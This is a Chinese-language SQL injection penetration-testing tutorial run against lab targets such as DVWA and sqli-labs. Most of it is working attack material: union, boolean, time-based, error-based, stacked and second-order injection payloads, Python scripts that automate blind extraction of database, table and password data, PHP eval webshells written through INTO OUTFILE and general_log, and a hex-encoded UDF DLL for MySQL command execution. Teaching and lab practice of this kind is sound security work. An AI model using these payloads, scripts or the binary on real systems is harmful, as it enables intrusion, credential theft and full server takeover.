渗透测试之SQL注入
1. SQL注入分类
按照攻击类型分为:联合查询注入、布尔注入、时间延迟注入、报错型注入、堆叠型注入等
按照注入位置分为:HTTP头注入、请求参数注入等
按照数据库场景分为:MySQL注入、MSSQL注入、Oracle场景注入
1. MySQL
MySQL的information schema是一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息,比如数据库名、数据库表、表字段的数据类型与访问权限等.
information schema库有两个必须学习的表
tables表:提供了指定数据库中的所有表的信息
columns表:提供了指定数据库表中的所有列的信息
1.1 SQL注入之联合查询注入
SQL UNION(联合)是一个函数,用于合并两个或多个SELECT语句的结果集,UNION内部的SELECT语句必须拥有相同的列数、列必须拥有相似的数据类型。
SELECT column1 FROM table1 UNION SELECTcolumn2 FROM table2
DVWA演示:
- 安全等级设置为低。
1.1. 确定是否存在注入
原sql语句:
SELECT first_name,last_name FROM users WHERE user_id='1';
在sql语句中,通常使用#、-- 来进行注释(url处,也可以用+来替代空格),在进行url传输时,#编码为23%
在url框输入1’23%或–+可以正常运行,说明存在sql注入漏洞
?id=1‘%23&Submit=Submit#
也可以通过闭合后面的’测试是否存在sql注入
1' and '1'='1
1' and '1'='2
1.2 通过order by 判断有select查询有几列
1' order by 1#
1' order by 2#
1' order by 3# 报错,因此有两列
1.3 如何使用联合查询
0' union select null,null #
0' union select 1,2 # 查看是否支持数字查询
0' union select "a","b" # 查看是否支持字符串查询
0' union select user(),database() # 查询用户,数据库名称
0' union select null,concat_ws(":",user(),version(),database()) # :表示拼接后用什么连接
0' union select null,concat_ws(":",user(),version(),database(),@@global.version_compile_os) # @@global.version_compile_os表示查询系统的版本
dvwa报错Illegal mix of collations for operation 'UNION'
0' union select null,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
使用联合查询表,dvwa报错Illegal mix of collations for operation ‘UNION’
解决办法:
找到MySQL.php
COLLATE utf8_general_ci;
修改后重新生成数据库:
使用limit限制查询的条数:(前一个数字表示从第几个开始,后面的数字表示查几个)
0' union select null,table_name from information_schema.tables where table_schema='dvwa'limit 0,1#
查询用户表所有的列:
0' union select null,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#
查询账号密码:
0' union select null,concat_ws(":",user,password) from users #
联合查询过程:
判断是否存在漏洞–》判断数据库类型–》爆出联合查询的列数–》查询数据库系统信息–》查询数据库表名–》查询数据库列名–》查询敏感数据信息
1.2 布尔型注入
布尔型注入:使用结合判断条件返回非真既假的一元组逻辑来判断攻击结果,一般为真时页面正常不变、为假时页面内容有所变化。和联合查询型注入区别:响应页面无报错回显(即报错注入是,通过返回值的不同,判断是否达到自己想要的目的)。
目的:知道自己想要得到的敏感信息。
过程:知道敏感信息所在的列、表名、数据库等信息。
1.2.1 布尔型注入相关的SQL函数
length():返回字符串的长度
substr(a,b,c):a为字符串、b为起始位置、c为长度,即从b位置开始,截取字符串a的c长度(从1开始)
ascii():返回字符的ASCII码()
ASCII表:https://www.runoob.com/w3cnote/ascii.html
4857为0到9十个阿拉伯数字,6590为26个大写英文字母,97~122为26个小写英文字母,其余为标点符号、运算符号等。
输入不同的数字,返回不同的结果
输入一个‘不存在,两个’,说明存在sql注入。
- 然后,通过
1' and 1=1#
1' and 1=2#
判断存在sql注入
- 通过length(database())获取数据库的长度。
1' and length(database())>=4#
1' and length(database())>=5#
判断出数据库长度为4
import requests
url = 'http://localhost/DVWA-master/vulnerabilities/sqli_blind/'
# 要添加的头部信息
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://192.168.0.102/DVWA-master/vulnerabilities/sqli_blind/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh,en;q=0.9,zh-CN;q=0.8",
"Cookie": "PHPSESSID=iuesvoohheefp8fol3fem37296; security=low",
"Connection": "close",
}
params = {
'id': '1',
'Submit':'Submit'
}
# 第一步:判断数据库名的长度
dataBaseLen = 1;
flag = True;
while(flag):
params['id'] = "1' and length(database())>=" + str(dataBaseLen) +"#";
# 发起GET请求
response = requests.get(url, params=params, headers=headers)
# print(response.text)
if("User ID exists in the database." in response.text):
dataBaseLen = dataBaseLen+1
if("User ID is MISSING from the database." in response.text):
flag = False
dataBaseLen = dataBaseLen -1
print("数据库的长度为:",dataBaseLen);
接下来依次使用substr(database(),1,1)、substr(database(),1,2),穷举出每一位的数据库名字,可显示字符的ascii为32~126
1' and ascii(substr(database(),1,1))>=100--
获取数据库的名字
dataBase = "";
for i in range(dataBaseLen):
for j in range(32,126):
params['id'] = "1' and ascii(substr(database(),{},1))={}#".format(str(i+1),str(j));
response = requests.get(url, params=params, headers=headers);
if("User ID exists in the database." in response.text):
dataBase += chr(j)
break
print("数据库的名字是:"+dataBase)
接下来获取表的个数:
1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1))>=1#
tableNum = 0;
flag = True
while(flag):
params['id'] = "1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1))>=1#".format(tableNum)
response = requests.get(url, params=params, headers=headers)
if ("User ID exists in the database." in response.text):
tableNum = tableNum + 1
if ("User ID is MISSING from the database." in response.text):
flag = False
tableNum = tableNum
print("共有表:{}张".format(tableNum));
获取每张表的长度
tableLens = [];
for i in range(tableNum):
flag = True
tableLen = 1;
while(flag):
# 1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1))>={}#
params['id'] = "1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1))>={}#".format(str(i),str(tableLen));
response = requests.get(url, params=params, headers=headers)
if ("User ID exists in the database." in response.text):
tableLen = tableLen + 1
if ("User ID is MISSING from the database." in response.text):
flag = False
tableLen = tableLen - 1
tableLens.append(tableLen)
print("表的长度:", tableLen);
print(tableLens);
获取表名:
# 获取表名
tables = []
for k in range(len(tableLens)):
table = ""
for i in range(tableLens[k]):
for j in range(32, 126):
params[
'id'] = "1' and ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1),{},1))={}#".format(str(k),
str(i + 1), str(j));
response = requests.get(url, params=params, headers=headers);
if ("User ID exists in the database." in response.text):
table += chr(j)
break
tables.append(table);
print("表的名字是:" + table)
print(tables);
到获取表名的全部代码:
import requests
url = 'http://localhost/DVWA-master/vulnerabilities/sqli_blind/'
# 要添加的头部信息
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://192.168.0.102/DVWA-master/vulnerabilities/sqli_blind/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh,en;q=0.9,zh-CN;q=0.8",
"Cookie": "PHPSESSID=iuesvoohheefp8fol3fem37296; security=low",
"Connection": "close",
}
params = {
'id': '1',
'Submit':'Submit'
}
# 第一步:判断数据库名的长度
dataBaseLen = 1;
flag = True;
while(flag):
params['id'] = "1' and length(database())>=" + str(dataBaseLen) +"#";
# 发起GET请求
response = requests.get(url, params=params, headers=headers)
# print(response.text)
if("User ID exists in the database." in response.text):
dataBaseLen = dataBaseLen+1
if("User ID is MISSING from the database." in response.text):
flag = False
dataBaseLen = dataBaseLen -1
print("数据库的长度为:",dataBaseLen);
dataBase = "";
for i in range(dataBaseLen):
for j in range(32,126):
params['id'] = "1' and ascii(substr(database(),{},1))={}#".format(str(i+1),str(j));
response = requests.get(url, params=params, headers=headers);
if("User ID exists in the database." in response.text):
dataBase += chr(j)
break
print("数据库的名字是:"+dataBase)
# 获取有几张表
tableNum = 0;
flag = True
while(flag):
params['id'] = "1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='{}' LIMIT {},1))>=1#".format(dataBase,tableNum)
response = requests.get(url, params=params, headers=headers)
if ("User ID exists in the database." in response.text):
tableNum = tableNum + 1
if ("User ID is MISSING from the database." in response.text):
flag = False
tableNum = tableNum
print("共有表:{}张".format(tableNum));
# 获取每张表的长度
tableLens = [];
for i in range(tableNum):
flag = True
tableLen = 1;
while(flag):
# 1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1))>={}#
params['id'] = "1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='{}' LIMIT {},1))>={}#".format(dataBase,str(i),str(tableLen));
response = requests.get(url, params=params, headers=headers)
if ("User ID exists in the database." in response.text):
tableLen = tableLen + 1
if ("User ID is MISSING from the database." in response.text):
flag = False
tableLen = tableLen - 1
tableLens.append(tableLen)
print("表的长度:", tableLen);
print(tableLens);
# 获取表名
tables = []
for k in range(len(tableLens)):
table = ""
for i in range(tableLens[k]):
for j in range(32, 126):
params[
'id'] = "1' and ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1),{},1))={}#".format(str(k),
str(i + 1), str(j));
response = requests.get(url, params=params, headers=headers);
if ("User ID exists in the database." in response.text):
table += chr(j)
break
tables.append(table);
print("表的名字是:" + table)
print(tables);
后面不想写代码了,有现成工具,sqlmap
步骤:猜解每一列的长度,然后猜解每一列的列名
猜解每一列的长度
1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1))>=8#
猜解每一列的列名:
1' and ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1),1,1))>=112#
下一个步骤:猜解每一列的敏感信息的长度,然后猜解出敏感信息
1' and length((select password from users limit 0,1))>=32#
猜解敏感信息
1' and ascii(substr((select password from users limit 0,1),1,1))>=53#
布尔注入的过程:
判断页面是否有回显–》判断是否存在漏洞–》判断数据库类型-》爆破库长度库名-》爆破表长度表名-》爆破列长度列名-》爆破数据长度内容
1.3 时间注入
靶场:sql-lib less-9
1.3.1 相关函数
sleep(n):将程序挂起n秒
if(a,b,c):a为判断条件,当a为真时返回b,否则返回c
payload
1' and sleep(5)%23
获取数据库的长度:
1' and if(length(database())>=9,0,sleep(5))%23
import requests
import time
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://192.168.0.102/DVWA-master/vulnerabilities/sqli_blind/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh,en;q=0.9,zh-CN;q=0.8",
"Cookie": "PHPSESSID=iuesvoohheefp8fol3fem37296; security=low",
"Connection": "close",
}
params = {
'id': "1",
}
def get_response_time(url,params, headers):
start_time = time.time() # 获取当前时间
try:
response = requests.get(url,params=params,headers=headers) # 发送GET请求
response.raise_for_status() # 检查请求是否成功
except requests.RequestException as e:
print(f"请求错误:{e}")
return None
end_time = time.time() # 获取请求结束的时间
response_time = end_time - start_time # 计算响应时间
return response_time
url = "http://192.168.0.102/sqli-labs-master/Less-9/";
dataBaseLen = 1;
flag = True;
while(flag):
# 1' and if(length(database())>=9,0,sleep(5))%23
params['id'] = "1' and if(length(database())>={},0,sleep(5))#".format(str(dataBaseLen));
# 发起GET请求
response_time = get_response_time(url, params=params, headers=headers)
# print(response.text)
if(response_time<5):
dataBaseLen = dataBaseLen+1
if(response_time>5):
flag = False
dataBaseLen = dataBaseLen -1
print("数据库的长度为:",dataBaseLen);
同布尔注入一样,只是判断条件发生改变,得到数据库名字之类的
1' and if(ascii(substr((select database()),1,1))=115,sleep(5),0)%23
获取表的长度
1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))>=5,0,sleep(5))%23
获取表的名字
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(5),0)%23
查询出列的长度
1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))>=8,0,sleep(5))%23
查询出列名
1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,1))=112,sleep(5),0)%23
查出敏感数据的长度
1' and if(length((select password from users limit 0,1))>=5,0,sleep(5))%23
查出敏感数据
1'and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),0)%23
1.4 报错注入
靶场环境:sqli-libs的Less-5
原始sql函数
SELECT * FROM users WHERE id='1' limit 0,1
相关函数:
floor():向下取整
rand():返回一个0~1之间的随机数
count():统计元组的个数
正常使用无任何查询数据返回,添加单引号有报错回显,则是报错注入场景
1'
结合
1' and 1=1#
1' and 1=2#
确定是否存在sql注入
通过报错注入查询出数据库名:
1' and (select 1 from (select count(*),concat(char(32,58,32),database(),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b)%23
这个sql语句报错
select count(*),concat(char(32,58,32),database(),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name
select count(*),floor(rand()*2)name from information_schema.tables group by name
原因:floor(rand()*2) 在插入虚拟表之前以及插入时各计算一次,导致本来应该插入0,结果插入1,与之前的key重复导致报错。
通过报错注入查询表名:
1' and (select 1 from (select count(*),concat(char(32,58,32),(select table_name from information_schema.tables where table_schema='security' limit 3,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b)#
通过报错注入查询列名:
1' and (select 1 from (select count(*),concat(char(32,58,32),(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b)#
通过报错注入查询数据:
1' and (select 1 from (select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b)#
注入流程:
判断是否报错回显–》判断是否存在漏洞–》判断数据库类型–》查出库名–》查出列名–》查出数据内容
报错注入的根源是:构建虚拟表时主键插入的冲突(重复的主键插入)导致的报错。
1.5堆叠注入
堆叠注入产生的原因 如php中 mysqli_multi_query()函数:执行一个或多个sql语句,多个sql语句用分号进行隔开。
靶场环境:sqli-libs 38
首先查看源数据:
SELECT * FROM users
使用堆叠注入,将username的password修改为123456
1'; update users set password='123456' where username='Dumb'%23
1.6 二次注入
靶场环境:sqli-labs Less-24
原理:第一次注入的恶意内容没有过滤就存储到数据库中,后续对该数据进行查询时就会触发SQL注入
第一次注入:
$username = mysql_escape_string($_POST['username']);
$sql = "insert into users(username,password) values(\"$username\",\"$pass\")"
mysql_escape_string 是 PHP 中用于数据库操作的一个函数,它的作用是转义一个字符串,用于 MySQL 数据库查询。
例子:
$string = "It's never going to work!";$escaped_string = mysql_escape_string($string);
在上面的代码中,$escaped_string 的值将会是 "It\'s never going to work!",这样在插入数据库时就不会出现问题。(如果我们有一个包含单引号的字符串 'It\'s never going to work!',当这个转义后的字符串被插入到数据库中时,单引号前的反斜杠 \ 会告诉 MySQL 数据库这是一个字符,而不是字符串结束的标志。因此,数据库中存储的值将是 'It's never going to work!',而不会包含转义字符 \。)
第二次读取:
$username=$_SESSION["username"];
$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'";
第一次注入:
admin\'#
第二次读取
$sql="UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'";
这样既可以在第一次注入的时候,注入想要修改用户的用户名,在修改密码时,即可将该用户的密码修改为我们想要的密码。
注册admin,提醒admin已经注册。
注册admin’#
在此页面,即可将admin的密码修改为我们需要的密码。
修改为123456
使用admin 123456可成功登录
1.7 通过数据库将webshell写入服务器
前提条件:MySQL secure_file_priv配置为空、当前数据库为用户管理员权限、知道Web目录的绝对路径
靶场环境:sqli-labs less7
1.7.1 secure_file_priv配置项说明
secure_file_priv配置项直接影响在服务器导入导出文件相关操作,当值为空时,对导入导出无限制,当值为一个指定目录时,只能向指定的目录导入导出,当值被设置为NULL时,禁止导入导出功能。select … into outfile、LOAD_FILE()、LOAD DATA等函数/语句均受到该配置项的影响。
查询users表中的数据写入到users.txt
select * from users into outfile "D:\**\**\**\**users.txt"
通过 select @@secure_file_priv查询secure_file_priv当前的值
select @@secure_file_priv
为null,需要通过phpStudy中mysql中的my.ini中添加‘secure_file_priv=’,然后重启MySQL即可
目录为
D:\ProgramFiles\phpstudy_pro\Extensions\MySQL5.7.26
select * FROM users into OUTFILE "D:/ProgramFiles/phpstudy_pro/WWW/sqli-labs-master/user.txt"
即可导出user.txt
SQL漏洞探测
1')) and 1=1%23
1')) and 1=2%23
判断当前数据库用户是否有管理员权限
1')) and (select count(*) from mysql.user)>0%23
将一句话木马写入本地
1')) union select null,null,"<?php @eval($_GET['a']);?>" into outfile "D:/ProgramFiles/phpstudy_pro/WWW/sqli-labs-master/Less-7/shell.php"%23
1.8 利用MySQL general_log日志写人webshell
- MySQL的general_log会将所有到达MuSQL服务器的SQL语句都记录到指定的日志文件中
- general_log:说明配置是否开启 general_log_file:指定日志文件路径
原理:在堆叠注入场景或拥有MySQL终端权限或类似phpMyAdmin等数据库管理工具权限时,可以直接开启general_log并指定日志位置为Web目录的脚本文件,再select WebShell内容,从而实现写WebShell
前提条件:MySQL用户具有管理员权限、拥有MySQL终端权限、知道Web目录的绝对路径
靶场环境:phpMyAdmin4.8.5后台
安装phpMyAdmin4.8.5
弱口令:root 123456
运行sql语句
show variables like '%general%'
开启日志
set GLOBAL general_log=on
设置日志目录为shell地址:set global general_log_file=‘D:/ProgramFiles/phpstudy_pro/WWW/sqli-labs-master/Less-7/2.php’;
select "<?php @eval($_GET['a']);?>"
1.9 MySQL UDF提权
前提:获取MySQL管理员账号密码后
1.9.1 UDF的几个关键函数
- sys_eval():执行任意命令,并将输出返回
- sys_exec():执行任意命令,并将返回码返回
- sys_get():获取一个环境变量
- sys_set():创建或修改一个环境变量
1.9.2 前提准备
- 在sqlmap中查找到lib_mysqludf_sys.so (linux为so文件)
-
找到cloak.py文件
-
使用cloak.py对mysqludf_sys.so_进行解码
linux:
python cloak.py -d -i ../../***/**/**/lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so
windows:
python cloak.py -d -i ../../***/**/**/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll
- 使用dumpfile进行导出
dumpfile:功能、语法及限制同outfile,但一次只导出一行内容。基本语法为:select[列名]from table [where语句] into dumpfile’目标文件’。
两者的区别:1. outfile可导出多行数据,而dumpfile只导出一行。2. outfile在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。
查询到plugin_dir目录:
show VARIABLES LIKE '%PLUGIN%'
新建lib\plugin两个目录。
查看UDF文件的Hex值,linux下使用hexdump命令获取,win下使用WinHex获取,然后将里面的二进制文件写入到指定文件中。
select unhex('4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000677CBFDA231DD189231DD189231DD18904DBBF89211DD18904DBBC892A1DD18904DBAA89261DD189231DD0890F1DD18904DBAC89211DD18904DBA089221DD18904DBAB89221DD18904DBA989221DD18952696368231DD189000000000000000000000000000000005045000064860300A727A15A0000000000000000F00022200B020800002000000010000000800000109F000000900000000000100000000000100000000200000400000000000000050002000000000000C000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098B2000008020000B0B10000E800000000B00000B00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000E0555058310000000000200000009000000012000000040000000000000000000000000000400000E02E727372630000000010000000B000000006000000160000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D240209E1E421439D3BDFB7DE7400000F0F0000002A0000490000D41DE9FEFF833A007450488B05A421000049890009A24008CD4973D20A9F109C1899CD9F34272096280FB70593666D83FDB7410B30B001C332C0C3CC00C215CC92C9BA810034716A6FEBCC16E46C096A471853FDBF1FA4631C0FB605591688401E41C7011E00FFED6DD62B8B63BF01750F3F42088338007506C64B26EBDC01017B4E2D632B05B9E4B228CE25227ED20CD26F1F28152AB001C3F66D7BC2BF83EC38344A43895C243084B7FFF6DBD90B09FF15C71F2B4885C04C8BD87512104C24DF6EAEB9608707202DC4388E897C242873EDCDFD33C048C7C1FF0033FBF2AE1C120976D9B75B1AF7D122E901890B2DCC00BE6FEB166F28E3026E404848DEDA7FDB29F938D87459488D0D40EE4E0E813832983DE4C1EB81403281480A9EE4435E4F81503281543281563261F37D4FB0018C48804028C34C49467607744E61DEED584917E49260680A703C6527CD18782056C740045CF8BF33B64342188B48048B008D4C010239BD1E77D27D8BD947107543706D8045EC1BE936130309884370900A00B69DEE10C8980A18BC0CB3C6B00E07103FBCB37DDB0F49A585C974066F5D17B7086D21CF93CF047424ADA3B9772D7110448B6949E2FA02C2EDDFBA52E2CE0212498D5C3001E83F0FFCE85CD7FDDD5FEBCB418B03C60430D2470D5734B70C58D7E22D0822D34313167BB75BCE2618007CA01CFF56677C84842F7198F4CF16C64373870D087C8C03D6E4240F79561E541E511E7292939C4E1E4B1E481E63C2425E3E1E1FCF2784EE87C71F1DA0981F4C89C68685EE44241824580F6C59897486BB86DB76381764BDB900D34C18284CB0DB7E302D4D8BF146E8E7B901EE9B6DC1EC04E00DDA4533ED4488670BEEF69B4FF04C39290F8413050673F215FDCFB8B9169125AC1C088BE8747B418D5508E1C9B6B13AC0E6CC177C7466A04B6640FA50669047FC3F42858E1B0B9529328D7936CE6F7D61C16C304375CD8CC74803C8F56636B724D470143E51C5BA08E1D9B68D39CC1CEB13225975AD886CDBB6F050EB258BC77004CD1930DDFE9CDB803E30E2154874229245FFB176D8827811FEF5887EDD4D174EBE5A0EEBC18424805EC606E71ADA0001380C4C38F12A10F8386C04C6F0A0581A87E792317FD3DC5CD8D6D09D58747A28F2023F73B773DF3E448D48406E41B80010B3748BD1F10DF7C7ED33C9AB441A5356104CEFA2DBE6B66C02C8D8154E1B8D54B94C350AEDE98D054A75890BA3B16E3B2DBC3133D2C7D0208925183BDF19B7B3BAD2C80DF2199D30AC581E29EB081433C0922FB384F13BE0064CEB0033C029001BB0DFB65538EC024510FF10C9196600FB6F7F6C900390483B0D89293F751148C1C11066F7DDDD6FDFB87502F3DAC1C910E9150AECCC405361203B8B7D1B5801A05FDCD25B0BFBEEF7F685DBC905112FD005020675098D430185BB76EFB6205B42C703D59B0D3C48B406634136670B1C5805B12006615BD85BC3CF55D27F6CC7C7C376FC608468E140DCFBF1C2C63831E83BE141BDD20F8503EE46BB7408075EE428073C0F8E0D8DE6B61B6E2BC58ED3105FDCFD3E76FB0FB12D602E0A741EF290B9E803C91D19BFDB36931D4275E841320783F802740FB9EF6DC3B31FB70ECA0208E2ED0D2F2E338E740FD2111912F874491412FC18DADC0B1FD958F847DF72165F1803B6BB2D701E4AD0C9EB081573ED12ECF6BEDBCF2774192D06429BD72D0698FBFB66D833DB891DB80E871DB906716FC7FEB59806E5413BD5DDE26541042530BB7DBBBD002C0978081E8BF3F048B93D883072B0B7920A63C7741AD64618D7D29B2F1C6B75E3EB037BF5A79A5ED6390C950CDAEB3FEA1F9F7DB7F08E8F080644892D312D1BC485C0678FED62771A15E5DE0DD6181ABE7FDDBBEEC7050725024585F67507B404BB833D14DDC96E73068B212A0B2D5C6F11DEDD264FE3029CF12C66012D3A273E9E9EBE10C58F38D240E468EC98717A60DCE91748C3B14D22190F6C20483A5ADBF308505851F0DD05BBEE77DF3D041F208915D12695D275133915D709ED7F38C3750B5A17C61E83FA017405040ADD6BE00275338931D39D08A3B71B0D34C84E20C574134AC68B07863DB9D7A64BFC1616E0C9016B3C1A0EDC83FFB092EBDA1535AB311BC11BDB5B0BD80C430C1DC817084D7BF787755C0B1841FFD385FF88FF03753970F79D75094A08AEEB8D1CA51E36EC648B171028ADEB06D8192ECC298ADC25F3008BC3659E8793708B218B8BF8B59D9E2A4055BF15EAA3894D7AFAB61B01018B080724B0D67D5D902DD9C2302F5E7D0AB1485825FF4DDB960C1E92387D2EDA02F101D7136FA3F875056C0CFCFA7D918844A4FD258B036983EB2F9E8E090CEFC6F852A1899E2681EC880068CD760DBFFE73153F156705B8C648F25845B7390CB8283D1F2C586170C339DEF61624EB754148B73DC6364238004044230430090E662FCF40280578254703055C73874C1C51494E7D4BB1077F4BF0EB222B8093447BDD837D738D0E83C00812D13E8D67DB7B642A059B240D20902F9C5BA25B701C2A7214097BC009CC3E1E666C926724766E833572DBFF0B70DC7A142F482C38B0BB2493827B8EF083D2396A14019B15650CCB36DC9255B624C80A271B83D76C1854BA6A234E336B1784F781C4ACA041592947A626231C0FD8CF53188186D9EF0D68295A4A148A8EF8ECECCDD64427CB1366EB75B908674B32D21DEA902D3A1C1128106464200A8B83AF334463971BCB36E418C323DB83A238243D05F62809993959B611402BDC678C90C136DE1BC3017F37320296247F15F4F6120D6276D81BC00383E8013C2075643F289C8D3D53041A787F4B8D1D4C068D13A08491790EC372B3326129A9EF4F137F2344720CC96681394D5A75FCB7C3FF174863513C813C0A5045E1137C0A180B020F94C063E343029F4C63413CFEC9B4EBED8D7ED24C03C1413C4014450458064525FFC25F6A4AB10018741F8B510B3BD2720A8B4108ED6FF8DB03C209D072104183C113C128453BCB72E16FC796B05D1CC1C3CF4CC1267AF7446992E1DA85DCBD1F4C2BC15FEAFB5ABED0140CCD0F3A24C1E81F600D2CFEF7D083E001EB02584FD644AB360196EBCAC0B66C3008EEC18B01A7FFAA128D3CC77627252205CC11CE78DCA606CB113F75463DA70FF0DD4603241B471EB801000000277C29847F3FE520000081BFF83C3DFC32A2DF2D992B7DC7F83074149D6FA3D00E7F5DC6268B2DC285586B212430BC6286B6489934E10AB9B4C856E04671D849460BB50E731C0EB110D9BE10A8D813FE6A4CB84C33DBCEB8FF00856037BA1623E9B8338975DDE016B1DF744D44D89C1D39B705DBDD8449F7D3093720D2FBDC4B4646463605DEE0E2E4B24746465E505A11000055C9A8AA298064547FB017D8069017303007D04E6F206172FFFFDFFE67756D656E7473096C6C6F77656420287564663A206C69625F6D79730BF6B7DD716C0D5F73085F696E666F29411C80EDFF232076657273696F6E20302E0134EDEDEE17A178706563744B657861076C79201A6DBB7DFB652073747243672074791B2070766175D8299B6D21724F2F7477996D60010B1F438EF6F603FB72206E616D4C436F756C246E6F74CCE8B66D3B63611320186D27796372FF850740310106023532023001240D0024F6FFB7FFD407001FC408001A740B15640C0010540B000B340A0004822776BBDCFE1918090018C40F13740E640B093427B763D4ED046217D41E5E3F1903241AEDBACF2C5007390F2A07801ABBDC6E8367165B16743711640C340B7BD85B770442130C390C01118350118B9B6DF705530133871C03E4001D5D90ED60430E057B743F09BAEEB0D80401072F67079403A06077DBC10701462F462B1074092F0DB6D94E3416033B01000715BB0BB6BD971574062F64F7DF21000884DDB640AE043439741F00BF20EEECEDB6140629034C341F0BA903E1C2DEBE240F05C305340A13234BD36D9B6E23431E14C45F0F470A75B713760554094B01098909A2071E7DE572BB1F1E742F12640D34870142B71582BB2E1311CF0C03CA96DD0E01380F387427005124A3AAFEC10246DDCD5D20D266D4FF555516C900178FA02A1B003011764BD56C039180BFA007E0126DD79DDD03703407F803680B0013026A76FBBA8603540B14021814170B581590FB2F07D9EEECF60A150310340727030034075BD5B9DD7003E0336F0724B3CC755DD7750B30074203AC0B9007F5B61B94DB03C03233920C1903C8BA05A0EB0B10074F8BE80B508375AFEB077303444707990BA0B65DD77507E503280BF0073A1C033C0038B7EB0B5007F71CA70B77B63BDB8B191D2F2007381DCB40071DAC7B5D83036C8307D30B601E9DED5EB3039B7C5F07C11E3BE0D0AE3BDB07031F3B1007D6039C33CA1255954A005525A3AAA8AA9251645455C9D09BA0887C0402C4FF16360157616974466F7253AC7F2B40FC6C654F626ABD14566972747561F63703C46C419A0D536574456E76126DBF01E26F6EE45661726961622B41EB2E40BC18437265B8546806640DF65BF76D47264375727222502A636573734914E283CD1226135469636BB6FD6E03026E6B517565727950036684DEDBB1F66D616E3716657218446973676FDBDBCF374C6962727879436192731A52746C633BB76D0970A2722D2C7874124CBDB5ADFD6F6F6B7570463EC26916B2747279DFB5078B17CD556E77E47E4973446562736F6BED75676763A7A56583E11DFEB6B77268616E64457883704046696CA56C85C58719F19319DAB61254176D65151153DAF6586B39352B537973176DFA81E87517454173426509A3DBFE434388A0895F616D73675FCC6990B3850BBF5F5F435F73708B6966285F7E267CDB766F5F64116F035F706F6922430B76DB2663DA5F64CE280009626B31142D325F7A13C417840B5F7B50705B6C735F330A6C212205DB5ACCD82A58096E73ED6BC982130FD76D643ED6BAD6DE756C343F15416D170CDEA3E0020AB52689A3B565C933A196063BC16DB15B0772652508661115080D5BA1739C29709F73149BB5ADB93932AE6E074D0F85D7BADBC56F736A663A70105E3B84ED70705831747B6D343FDF15F4C700F